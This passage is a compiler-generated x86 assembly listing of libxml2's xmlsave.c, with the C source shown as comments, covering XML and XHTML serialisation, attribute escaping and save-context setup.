mov eax, DWORD PTR [esi+36]
test eax, eax
js SHORT $LN70@xhtmlNodeD
inc eax
mov DWORD PTR [esi+36], eax
$LN70@xhtmlNodeD:
; 1763 : ctxt->format = format;
mov DWORD PTR [esi+40], ecx
; 1764 : xhtmlNodeListDumpOutput(ctxt, cur->children);
push DWORD PTR [ebx+12]
push esi
call _xhtmlNodeListDumpOutput
; 1765 : if (ctxt->level > 0) ctxt->level--;
mov eax, DWORD PTR [esi+36]
add esp, 8
test eax, eax
jle SHORT $LN71@xhtmlNodeD
dec eax
mov DWORD PTR [esi+36], eax
$LN71@xhtmlNodeD:
; 1766 : ctxt->format = indent;
mov eax, DWORD PTR _indent$1$[ebp]
mov DWORD PTR [esi+40], eax
; 1767 : if ((xmlIndentTreeOutput) && (format == 1))
call ___xmlIndentTreeOutput
cmp DWORD PTR [eax], 0
je SHORT $LN72@xhtmlNodeD
cmp DWORD PTR _format$1$[ebp], 1
jne SHORT $LN72@xhtmlNodeD
; 1768 : xmlOutputBufferWrite(buf, ctxt->indent_size *
mov edx, DWORD PTR [esi+108]
lea eax, DWORD PTR [esi+44]
cmp DWORD PTR [esi+36], edx
push eax
cmovle edx, DWORD PTR [esi+36]
imul edx, DWORD PTR [esi+112]
push edx
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN72@xhtmlNodeD:
; 1769 : (ctxt->level > ctxt->indent_nr ?
; 1770 : ctxt->indent_nr : ctxt->level),
; 1771 : ctxt->indent);
; 1772 : }
; 1773 : xmlOutputBufferWrite(buf, 2, "</");
push OFFSET ??_C@_02DPNDACHE@?$DM?1@
push 2
push edi
call _xmlOutputBufferWrite
; 1774 : if ((cur->ns != NULL) && (cur->ns->prefix != NULL)) {
mov eax, DWORD PTR [ebx+36]
add esp, 12 ; 0000000cH
test eax, eax
je SHORT $LN73@xhtmlNodeD
mov eax, DWORD PTR [eax+12]
test eax, eax
je SHORT $LN73@xhtmlNodeD
; 1775 : xmlOutputBufferWriteString(buf, (const char *)cur->ns->prefix);
push eax
push edi
call _xmlOutputBufferWriteString
; 1776 : xmlOutputBufferWrite(buf, 1, ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 20 ; 00000014H
$LN73@xhtmlNodeD:
; 1777 : }
; 1778 :
; 1779 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
push DWORD PTR [ebx+8]
push edi
call _xmlOutputBufferWriteString
; 1780 : xmlOutputBufferWrite(buf, 1, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 20 ; 00000014H
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN10@xhtmlNodeD:
; 1457 : (cur->type == XML_HTML_DOCUMENT_NODE)) {
; 1458 : xmlDocContentDumpOutput(ctxt, (xmlDocPtr) cur);
push ebx
push DWORD PTR _ctxt$[ebp]
call _xmlDocContentDumpOutput
add esp, 8
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
npad 1
$LN196@xhtmlNodeD:
DD $LN145@xhtmlNodeD
DD $LN147@xhtmlNodeD
DD $LN151@xhtmlNodeD
DD $LN51@xhtmlNodeD
DD $LN51@xhtmlNodeD
DD $LN153@xhtmlNodeD
DD $LN51@xhtmlNodeD
DD $LN155@xhtmlNodeD
DD $LN157@xhtmlNodeD
DD $LN51@xhtmlNodeD
DD $LN51@xhtmlNodeD
DD $LN161@xhtmlNodeD
DD $LN163@xhtmlNodeD
DD $LN51@xhtmlNodeD
DD $LN51@xhtmlNodeD
DD $LN165@xhtmlNodeD
_xhtmlNodeDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveClearEncoding
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_xmlSaveClearEncoding PROC ; COMDAT
; 580 : static int xmlSaveClearEncoding(xmlSaveCtxtPtr ctxt) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _ctxt$[ebp]
mov esi, DWORD PTR [eax+24]
push esi
call _xmlOutputBufferFlush
push DWORD PTR [esi+12]
call _xmlCharEncCloseFunc
push DWORD PTR [esi+20]
call _xmlBufFree
add esp, 12 ; 0000000cH
mov DWORD PTR [esi+12], 0
mov DWORD PTR [esi+20], 0
xor eax, eax
pop esi
; 581 : xmlOutputBufferPtr buf = ctxt->buf;
; 582 : xmlOutputBufferFlush(buf);
; 583 : xmlCharEncCloseFunc(buf->encoder);
; 584 : xmlBufFree(buf->conv);
; 585 : buf->encoder = NULL;
; 586 : buf->conv = NULL;
; 587 : return(0);
; 588 : }
pop ebp
ret 0
_xmlSaveClearEncoding ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveSwitchEncoding
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_encoding$ = 12 ; size = 4
_xmlSaveSwitchEncoding PROC ; COMDAT
; 556 : static int xmlSaveSwitchEncoding(xmlSaveCtxtPtr ctxt, const char *encoding) {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _ctxt$[ebp]
mov edi, DWORD PTR _encoding$[ebp]
mov esi, DWORD PTR [eax+24]
test edi, edi
je SHORT $LN2@xmlSaveSwi
; 557 : xmlOutputBufferPtr buf = ctxt->buf;
; 558 :
; 559 : if ((encoding != NULL) && (buf->encoder == NULL) && (buf->conv == NULL)) {
cmp DWORD PTR [esi+12], 0
jne SHORT $LN2@xmlSaveSwi
cmp DWORD PTR [esi+20], 0
jne SHORT $LN2@xmlSaveSwi
; 560 : buf->encoder = xmlFindCharEncodingHandler((const char *)encoding);
push edi
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR [esi+12], eax
; 561 : if (buf->encoder == NULL) {
test eax, eax
jne SHORT $LN3@xmlSaveSwi
; 143 : __xmlSimpleError(XML_FROM_OUTPUT, code, node, msg, extra);
push edi
push OFFSET ??_C@_0BF@CGOGPJKI@unknown?5encoding?5?$CFs?6@
push eax
push 1403 ; 0000057bH
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 562 : xmlSaveErr(XML_SAVE_UNKNOWN_ENCODING, NULL,
; 563 : (const char *)encoding);
; 564 : return(-1);
or eax, -1
pop edi
; 578 : }
pop esi
pop ebp
ret 0
$LN3@xmlSaveSwi:
; 565 : }
; 566 : buf->conv = xmlBufCreate();
call _xmlBufCreate
mov DWORD PTR [esi+20], eax
; 567 : if (buf->conv == NULL) {
test eax, eax
jne SHORT $LN4@xmlSaveSwi
; 568 : xmlCharEncCloseFunc(buf->encoder);
push DWORD PTR [esi+12]
call _xmlCharEncCloseFunc
; 569 : xmlSaveErrMemory("creating encoding buffer");
push OFFSET ??_C@_0BJ@ICFHKFLM@creating?5encoding?5buffer@
call _xmlSaveErrMemory
add esp, 8
; 570 : return(-1);
or eax, -1
pop edi
; 578 : }
pop esi
pop ebp
ret 0
$LN4@xmlSaveSwi:
; 571 : }
; 572 : /*
; 573 : * initialize the state, e.g. if outputting a BOM
; 574 : */
; 575 : xmlCharEncOutput(buf, 1);
push 1
push esi
call _xmlCharEncOutput
add esp, 8
$LN2@xmlSaveSwi:
; 576 : }
; 577 : return(0);
pop edi
xor eax, eax
; 578 : }
pop esi
pop ebp
ret 0
_xmlSaveSwitchEncoding ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlAttrSerializeContent
_TEXT SEGMENT
_tmp$1 = -24 ; size = 12
_children$1$ = -12 ; size = 4
_l$1$ = -8 ; size = 4
_doc$1$ = -4 ; size = 4
_buf$ = 8 ; size = 4
_attr$ = 12 ; size = 4
_xmlAttrSerializeContent PROC ; COMDAT
; 436 : {
push ebp
mov ebp, esp
sub esp, 24 ; 00000018H
push ebx
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _attr$[ebp]
mov ebx, DWORD PTR [ecx+12]
mov DWORD PTR _children$1$[ebp], ebx
test ebx, ebx
je $LN3@xmlAttrSer
push esi
push edi
$LL2@xmlAttrSer:
; 437 : xmlNodePtr children;
; 438 :
; 439 : children = attr->children;
; 440 : while (children != NULL) {
; 441 : switch (children->type) {
mov eax, DWORD PTR [ebx+4]
sub eax, 3
je SHORT $LN6@xmlAttrSer
sub eax, 2
jne $LN48@xmlAttrSer
; 444 : attr, children->content);
; 445 : break;
; 446 : case XML_ENTITY_REF_NODE:
; 447 : xmlBufAdd(buf->buffer, BAD_CAST "&", 1);
mov esi, DWORD PTR _buf$[ebp]
push 1
push OFFSET ??_C@_01HNPIGOCE@?$CG@
push DWORD PTR [esi+16]
call _xmlBufAdd
; 448 : xmlBufAdd(buf->buffer, children->name,
push DWORD PTR [ebx+8]
call _xmlStrlen
push eax
push DWORD PTR [ebx+8]
push DWORD PTR [esi+16]
call _xmlBufAdd
; 449 : xmlStrlen(children->name));
; 450 : xmlBufAdd(buf->buffer, BAD_CAST ";", 1);
push 1
push OFFSET ??_C@_01ICJEACDI@?$DL@
push DWORD PTR [esi+16]
call _xmlBufAdd
add esp, 40 ; 00000028H
; 451 : break;
jmp $LN78@xmlAttrSer
$LN6@xmlAttrSer:
; 442 : case XML_TEXT_NODE:
; 443 : xmlBufAttrSerializeTxtContent(buf->buffer, attr->doc,
mov eax, DWORD PTR _buf$[ebp]
mov esi, DWORD PTR [ebx+40]
mov edx, DWORD PTR [ecx+32]
mov DWORD PTR _doc$1$[ebp], edx
mov edi, DWORD PTR [eax+16]
; 2051 : if (string == NULL)
test esi, esi
je $LN48@xmlAttrSer
; 2052 : return;
; 2053 : base = cur = (xmlChar *) string;
; 2054 : while (*cur != 0) {
mov al, BYTE PTR [esi]
mov ecx, esi
test al, al
je $LN78@xmlAttrSer
$LL11@xmlAttrSer:
; 2055 : if (*cur == '\n') {
cmp al, 10 ; 0000000aH
jne SHORT $LN14@xmlAttrSer
; 2056 : if (base != cur)
cmp ecx, esi
je SHORT $LN16@xmlAttrSer
; 2057 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN16@xmlAttrSer:
; 2058 : xmlBufAdd(buf, BAD_CAST " ", 5);
push 5
push OFFSET ??_C@_05EJOHHIMP@?$CG?$CD10?$DL@
push edi
call _xmlBufAdd
; 2059 : cur++;
; 2060 : base = cur;
mov edx, DWORD PTR _doc$1$[ebp]
add esp, 12 ; 0000000cH
inc esi
mov ecx, esi
jmp $LN36@xmlAttrSer
$LN14@xmlAttrSer:
; 2061 : } else if (*cur == '\r') {
cmp al, 13 ; 0000000dH
jne SHORT $LN17@xmlAttrSer
; 2062 : if (base != cur)
cmp ecx, esi
je SHORT $LN19@xmlAttrSer
; 2063 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN19@xmlAttrSer:
; 2064 : xmlBufAdd(buf, BAD_CAST " ", 5);
push 5
push OFFSET ??_C@_05ELKBMGJG@?$CG?$CD13?$DL@
push edi
call _xmlBufAdd
; 2065 : cur++;
; 2066 : base = cur;
mov edx, DWORD PTR _doc$1$[ebp]
add esp, 12 ; 0000000cH
inc esi
mov ecx, esi
jmp $LN36@xmlAttrSer
$LN17@xmlAttrSer:
; 2067 : } else if (*cur == '\t') {
cmp al, 9
jne SHORT $LN20@xmlAttrSer
; 2068 : if (base != cur)
cmp ecx, esi
je SHORT $LN22@xmlAttrSer
; 2069 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN22@xmlAttrSer:
; 2070 : xmlBufAdd(buf, BAD_CAST "	", 4);
push 4
push OFFSET ??_C@_04NCNDODLB@?$CG?$CD9?$DL@
push edi
call _xmlBufAdd
; 2071 : cur++;
; 2072 : base = cur;
mov edx, DWORD PTR _doc$1$[ebp]
add esp, 12 ; 0000000cH
inc esi
mov ecx, esi
jmp $LN36@xmlAttrSer
$LN20@xmlAttrSer:
; 2073 : } else if (*cur == '"') {
cmp al, 34 ; 00000022H
jne SHORT $LN23@xmlAttrSer
; 2074 : if (base != cur)
cmp ecx, esi
je SHORT $LN25@xmlAttrSer
; 2075 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN25@xmlAttrSer:
; 2076 : xmlBufAdd(buf, BAD_CAST """, 6);
push 6
push OFFSET ??_C@_06DDLNFFBN@?$CGquot?$DL@
push edi
call _xmlBufAdd
; 2077 : cur++;
; 2078 : base = cur;
mov edx, DWORD PTR _doc$1$[ebp]
add esp, 12 ; 0000000cH
inc esi
mov ecx, esi
jmp $LN36@xmlAttrSer
$LN23@xmlAttrSer:
; 2079 : } else if (*cur == '<') {
cmp al, 60 ; 0000003cH
jne SHORT $LN26@xmlAttrSer
; 2080 : if (base != cur)
cmp ecx, esi
je SHORT $LN28@xmlAttrSer
; 2081 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN28@xmlAttrSer:
; 2082 : xmlBufAdd(buf, BAD_CAST "<", 4);
push 4
push OFFSET ??_C@_04GJOGLFEJ@?$CGlt?$DL@
push edi
call _xmlBufAdd
; 2083 : cur++;
; 2084 : base = cur;
mov edx, DWORD PTR _doc$1$[ebp]
add esp, 12 ; 0000000cH
inc esi
mov ecx, esi
jmp $LN36@xmlAttrSer
$LN26@xmlAttrSer:
; 2085 : } else if (*cur == '>') {
cmp al, 62 ; 0000003eH
jne SHORT $LN29@xmlAttrSer
; 2086 : if (base != cur)
cmp ecx, esi
je SHORT $LN31@xmlAttrSer
; 2087 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN31@xmlAttrSer:
; 2088 : xmlBufAdd(buf, BAD_CAST ">", 4);
push 4
push OFFSET ??_C@_04LOOHDCEI@?$CGgt?$DL@
push edi
call _xmlBufAdd
; 2089 : cur++;
; 2090 : base = cur;
mov edx, DWORD PTR _doc$1$[ebp]
add esp, 12 ; 0000000cH
inc esi
mov ecx, esi
jmp $LN36@xmlAttrSer
$LN29@xmlAttrSer:
; 2091 : } else if (*cur == '&') {
cmp al, 38 ; 00000026H
jne SHORT $LN32@xmlAttrSer
; 2092 : if (base != cur)
cmp ecx, esi
je SHORT $LN74@xmlAttrSer
; 2093 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN74@xmlAttrSer:
; 2094 : xmlBufAdd(buf, BAD_CAST "&", 5);
push 5
push OFFSET ??_C@_05JKJFEODM@?$CGamp?$DL@
push edi
call _xmlBufAdd
; 2095 : cur++;
; 2096 : base = cur;
mov edx, DWORD PTR _doc$1$[ebp]
add esp, 12 ; 0000000cH
inc esi
mov ecx, esi
jmp $LN36@xmlAttrSer
$LN32@xmlAttrSer:
; 2097 : } else if ((*cur >= 0x80) && (cur[1] != 0) &&
cmp al, 128 ; 00000080H
jb $LN35@xmlAttrSer
cmp BYTE PTR [esi+1], 0
je $LN35@xmlAttrSer
test edx, edx
je SHORT $LN37@xmlAttrSer
cmp DWORD PTR [edx+60], 0
jne $LN35@xmlAttrSer
$LN37@xmlAttrSer:
; 2098 : ((doc == NULL) || (doc->encoding == NULL))) {
; 2099 : /*
; 2100 : * We assume we have UTF-8 content.
; 2101 : */
; 2102 : unsigned char tmp[12];
; 2103 : int val = 0, l = 1;
; 2104 :
; 2105 : if (base != cur)
cmp ecx, esi
je SHORT $LN75@xmlAttrSer
; 2106 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
mov al, BYTE PTR [esi]
add esp, 12 ; 0000000cH
$LN75@xmlAttrSer:
; 2107 : if (*cur < 0xC0) {
cmp al, 192 ; 000000c0H
jae SHORT $LN39@xmlAttrSer
; 2108 : xmlSaveErr(XML_SAVE_NOT_UTF8, (xmlNodePtr) attr, NULL);
push 0
push DWORD PTR _attr$[ebp]
push 1400 ; 00000578H
call _xmlSaveErr
; 2109 : xmlSerializeHexCharRef(tmp, *cur);
movzx eax, BYTE PTR [esi]
push eax
lea eax, DWORD PTR _tmp$1[ebp]
push eax
call _xmlSerializeHexCharRef
; 2110 : xmlBufAdd(buf, (xmlChar *) tmp, -1);
push -1
lea eax, DWORD PTR _tmp$1[ebp]
push eax
push edi
call _xmlBufAdd
; 2111 : cur++;
; 2112 : base = cur;
; 2113 : continue;
mov edx, DWORD PTR _doc$1$[ebp]
add esp, 32 ; 00000020H
inc esi
mov ecx, esi
jmp $LN36@xmlAttrSer
$LN39@xmlAttrSer:
; 2114 : } else if (*cur < 0xE0) {
cmp al, 224 ; 000000e0H
jae SHORT $LN41@xmlAttrSer
; 2115 : val = (cur[0]) & 0x1F;
; 2116 : val <<= 6;
; 2117 : val |= (cur[1]) & 0x3F;
movzx ecx, al
movzx eax, BYTE PTR [esi+1]
and ecx, 31 ; 0000001fH
; 2118 : l = 2;
mov DWORD PTR _l$1$[ebp], 2
jmp SHORT $LN79@xmlAttrSer
$LN41@xmlAttrSer:
; 2119 : } else if ((*cur < 0xF0) && (cur [2] != 0)) {
cmp al, 240 ; 000000f0H
jae SHORT $LN76@xmlAttrSer
mov dl, BYTE PTR [esi+2]
test dl, dl
je SHORT $LN76@xmlAttrSer
; 2120 : val = (cur[0]) & 0x0F;
; 2121 : val <<= 6;
; 2122 : val |= (cur[1]) & 0x3F;
; 2123 : val <<= 6;
; 2124 : val |= (cur[2]) & 0x3F;
movzx ecx, al
movzx eax, BYTE PTR [esi+1]
and ecx, 15 ; 0000000fH
and eax, 63 ; 0000003fH
shl ecx, 6
or ecx, eax
; 2125 : l = 3;
mov DWORD PTR _l$1$[ebp], 3
movzx eax, dl
jmp SHORT $LN79@xmlAttrSer
$LN76@xmlAttrSer:
; 2126 : } else if ((*cur < 0xF8) && (cur [2] != 0) && (cur[3] != 0)) {
cmp al, 248 ; 000000f8H
jae SHORT $LN69@xmlAttrSer
mov dl, BYTE PTR [esi+2]
test dl, dl
je SHORT $LN69@xmlAttrSer
mov dh, BYTE PTR [esi+3]
test dh, dh
je SHORT $LN69@xmlAttrSer
; 2127 : val = (cur[0]) & 0x07;
; 2128 : val <<= 6;
; 2129 : val |= (cur[1]) & 0x3F;
; 2130 : val <<= 6;
; 2131 : val |= (cur[2]) & 0x3F;
; 2132 : val <<= 6;
; 2133 : val |= (cur[3]) & 0x3F;
movzx ecx, al
movzx eax, BYTE PTR [esi+1]
and ecx, 7
and eax, 63 ; 0000003fH
shl ecx, 6
or ecx, eax
; 2134 : l = 4;
mov DWORD PTR _l$1$[ebp], 4
movzx eax, dl
and eax, 63 ; 0000003fH
shl ecx, 6
or ecx, eax
movzx eax, dh
$LN79@xmlAttrSer:
; 2135 : }
; 2136 : if ((l == 1) || (!IS_CHAR(val))) {
and eax, 63 ; 0000003fH
shl ecx, 6
or ecx, eax
cmp ecx, 256 ; 00000100H
jae SHORT $LN58@xmlAttrSer
cmp ecx, 9
jb SHORT $LN50@xmlAttrSer
cmp ecx, 10 ; 0000000aH
jbe SHORT $LN73@xmlAttrSer
$LN50@xmlAttrSer:
cmp ecx, 13 ; 0000000dH
je SHORT $LN73@xmlAttrSer
cmp ecx, 32 ; 00000020H
jae SHORT $LN73@xmlAttrSer
$LN69@xmlAttrSer:
; 2137 : xmlSaveErr(XML_SAVE_CHAR_INVALID, (xmlNodePtr) attr, NULL);
push 0
push DWORD PTR _attr$[ebp]
push 1401 ; 00000579H
call _xmlSaveErr
; 2138 : xmlSerializeHexCharRef(tmp, *cur);
movzx eax, BYTE PTR [esi]
push eax
lea eax, DWORD PTR _tmp$1[ebp]
push eax
call _xmlSerializeHexCharRef
; 2139 : xmlBufAdd(buf, (xmlChar *) tmp, -1);
push -1
lea eax, DWORD PTR _tmp$1[ebp]
push eax
push edi
call _xmlBufAdd
; 2140 : cur++;
; 2141 : base = cur;
; 2142 : continue;
mov edx, DWORD PTR _doc$1$[ebp]
add esp, 32 ; 00000020H
inc esi
mov ecx, esi
jmp SHORT $LN36@xmlAttrSer
$LN58@xmlAttrSer:
; 2135 : }
; 2136 : if ((l == 1) || (!IS_CHAR(val))) {
cmp ecx, 55295 ; 0000d7ffH
jbe SHORT $LN73@xmlAttrSer
cmp ecx, 57344 ; 0000e000H
jb SHORT $LN53@xmlAttrSer
cmp ecx, 65533 ; 0000fffdH
jbe SHORT $LN73@xmlAttrSer
$LN53@xmlAttrSer:
lea eax, DWORD PTR [ecx-65536]
cmp eax, 1048575 ; 000fffffH
ja SHORT $LN69@xmlAttrSer
$LN73@xmlAttrSer:
; 2143 : }
; 2144 : /*
; 2145 : * We could do multiple things here. Just save
; 2146 : * as a char ref
; 2147 : */
; 2148 : xmlSerializeHexCharRef(tmp, val);
push ecx
lea eax, DWORD PTR _tmp$1[ebp]
push eax
call _xmlSerializeHexCharRef
; 2149 : xmlBufAdd(buf, (xmlChar *) tmp, -1);
push -1
lea eax, DWORD PTR _tmp$1[ebp]
push eax
push edi
call _xmlBufAdd
; 2150 : cur += l;
; 2151 : base = cur;
; 2152 : } else {
mov edx, DWORD PTR _doc$1$[ebp]
add esp, 20 ; 00000014H
add esi, DWORD PTR _l$1$[ebp]
mov ecx, esi
jmp SHORT $LN36@xmlAttrSer
$LN35@xmlAttrSer:
; 2153 : cur++;
inc esi
$LN36@xmlAttrSer:
; 2052 : return;
; 2053 : base = cur = (xmlChar *) string;
; 2054 : while (*cur != 0) {
mov al, BYTE PTR [esi]
test al, al
jne $LL11@xmlAttrSer
; 2154 : }
; 2155 : }
; 2156 : if (base != cur)
cmp ecx, esi
je SHORT $LN77@xmlAttrSer
; 2157 : xmlBufAdd(buf, base, cur - base);
sub esi, ecx
push esi
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN77@xmlAttrSer:
; 452 : default:
; 453 : /* should not happen unless we have a badly built tree */
; 454 : break;
; 455 : }
; 456 : children = children->next;
mov ebx, DWORD PTR _children$1$[ebp]
$LN78@xmlAttrSer:
mov ecx, DWORD PTR _attr$[ebp]
$LN48@xmlAttrSer:
mov ebx, DWORD PTR [ebx+24]
mov DWORD PTR _children$1$[ebp], ebx
test ebx, ebx
jne $LL2@xmlAttrSer
pop edi
pop esi
$LN3@xmlAttrSer:
pop ebx
; 457 : }
; 458 : }
mov esp, ebp
pop ebp
ret 0
_xmlAttrSerializeContent ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlNewSaveCtxt
_TEXT SEGMENT
_encoding$ = 8 ; size = 4
_options$ = 12 ; size = 4
_xmlNewSaveCtxt PROC ; COMDAT
; 381 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push 124 ; 0000007cH
call DWORD PTR _xmlMalloc
mov esi, eax
add esp, 4
test esi, esi
jne SHORT $LN2@xmlNewSave
; 111 : __xmlSimpleError(XML_FROM_OUTPUT, XML_ERR_NO_MEMORY, NULL, NULL, extra);
push OFFSET ??_C@_0BI@FGAKHCKD@creating?5saving?5context@
push eax
push eax
push 2
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 382 : xmlSaveCtxtPtr ret;
; 383 :
; 384 : ret = (xmlSaveCtxtPtr) xmlMalloc(sizeof(xmlSaveCtxt));
; 385 : if (ret == NULL) {
; 386 : xmlSaveErrMemory("creating saving context");
; 387 : return ( NULL );
xor eax, eax
pop esi
; 419 : }
pop ebp
ret 0
$LN2@xmlNewSave:
push edi
; 388 : }
; 389 : memset(ret, 0, sizeof(xmlSaveCtxt));
push 124 ; 0000007cH
push 0
push esi
call _memset
; 390 :
; 391 : if (encoding != NULL) {
mov edi, DWORD PTR _encoding$[ebp]
add esp, 12 ; 0000000cH
test edi, edi
je SHORT $LN3@xmlNewSave
; 392 : ret->handler = xmlFindCharEncodingHandler(encoding);
push edi
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR [esi+20], eax
; 393 : if (ret->handler == NULL) {
push edi
test eax, eax
jne SHORT $LN4@xmlNewSave
; 143 : __xmlSimpleError(XML_FROM_OUTPUT, code, node, msg, extra);
push OFFSET ??_C@_0BF@CGOGPJKI@unknown?5encoding?5?$CFs?6@
push eax
push 1403 ; 0000057bH
push 7
call ___xmlSimpleError
; 394 : xmlSaveErr(XML_SAVE_UNKNOWN_ENCODING, NULL, encoding);
; 395 : xmlFreeSaveCtxt(ret);
push esi
call _xmlFreeSaveCtxt
add esp, 24 ; 00000018H
; 396 : return(NULL);
xor eax, eax
pop edi
pop esi
; 419 : }
pop ebp
ret 0
$LN4@xmlNewSave:
; 397 : }
; 398 : ret->encoding = xmlStrdup((const xmlChar *)encoding);
call _xmlStrdup
add esp, 4
mov DWORD PTR [esi+16], eax
; 399 : ret->escape = NULL;
mov DWORD PTR [esi+116], 0
$LN3@xmlNewSave:
; 400 : }
; 401 : xmlSaveCtxtInit(ret);
push esi
call _xmlSaveCtxtInit
; 402 :
; 403 : /*
; 404 : * Use the options
; 405 : */
; 406 :
; 407 : /* Re-check this option as it may already have been set */
; 408 : if ((ret->options & XML_SAVE_NO_EMPTY) && ! (options & XML_SAVE_NO_EMPTY)) {
mov eax, DWORD PTR _options$[ebp]
add esp, 4
test BYTE PTR [esi+32], 4
je SHORT $LN5@xmlNewSave
test al, 4
jne SHORT $LN5@xmlNewSave
; 409 : options |= XML_SAVE_NO_EMPTY;
or eax, 4
$LN5@xmlNewSave:
; 410 : }
; 411 :
; 412 : ret->options = options;
mov DWORD PTR [esi+32], eax
; 413 : if (options & XML_SAVE_FORMAT)
test al, 1
je SHORT $LN6@xmlNewSave
; 414 : ret->format = 1;
pop edi
mov DWORD PTR [esi+40], 1
; 417 :
; 418 : return(ret);
mov eax, esi
pop esi
; 419 : }
pop ebp
ret 0
$LN6@xmlNewSave:
; 415 : else if (options & XML_SAVE_WSNONSIG)
test al, al
jns SHORT $LN8@xmlNewSave
; 416 : ret->format = 2;
mov DWORD PTR [esi+40], 2
$LN8@xmlNewSave:
pop edi
; 417 :
; 418 : return(ret);
mov eax, esi
pop esi
; 419 : }
pop ebp
ret 0
_xmlNewSaveCtxt ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlFreeSaveCtxt
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_xmlFreeSaveCtxt PROC ; COMDAT
; 363 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
test esi, esi
je SHORT $LN1@xmlFreeSav
; 364 : if (ctxt == NULL) return;
; 365 : if (ctxt->encoding != NULL)
mov eax, DWORD PTR [esi+16]
test eax, eax
je SHORT $LN3@xmlFreeSav
; 366 : xmlFree((char *) ctxt->encoding);
push eax
call DWORD PTR _xmlFree
add esp, 4
$LN3@xmlFreeSav:
; 367 : if (ctxt->buf != NULL)
mov eax, DWORD PTR [esi+24]
test eax, eax
je SHORT $LN4@xmlFreeSav
; 368 : xmlOutputBufferClose(ctxt->buf);
push eax
call _xmlOutputBufferClose
add esp, 4
$LN4@xmlFreeSav:
; 369 : xmlFree(ctxt);
push esi
call DWORD PTR _xmlFree
add esp, 4
$LN1@xmlFreeSav:
pop esi
; 370 : }
pop ebp
ret 0
_xmlFreeSaveCtxt ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveCtxtInit
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_xmlSaveCtxtInit PROC ; COMDAT
; 332 : {
push ebp
mov ebp, esp
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _ctxt$[ebp]
test edi, edi
je $LN10@xmlSaveCtx
; 333 : int i;
; 334 : int len;
; 335 :
; 336 : if (ctxt == NULL) return;
; 337 : if ((ctxt->encoding == NULL) && (ctxt->escape == NULL))
cmp DWORD PTR [edi+16], 0
jne SHORT $LN6@xmlSaveCtx
cmp DWORD PTR [edi+116], 0
jne SHORT $LN6@xmlSaveCtx
; 338 : ctxt->escape = xmlEscapeEntities;
mov DWORD PTR [edi+116], OFFSET _xmlEscapeEntities
$LN6@xmlSaveCtx:
push esi
; 339 : len = xmlStrlen((xmlChar *)xmlTreeIndentString);
call ___xmlTreeIndentString
push DWORD PTR [eax]
call _xmlStrlen
add esp, 4
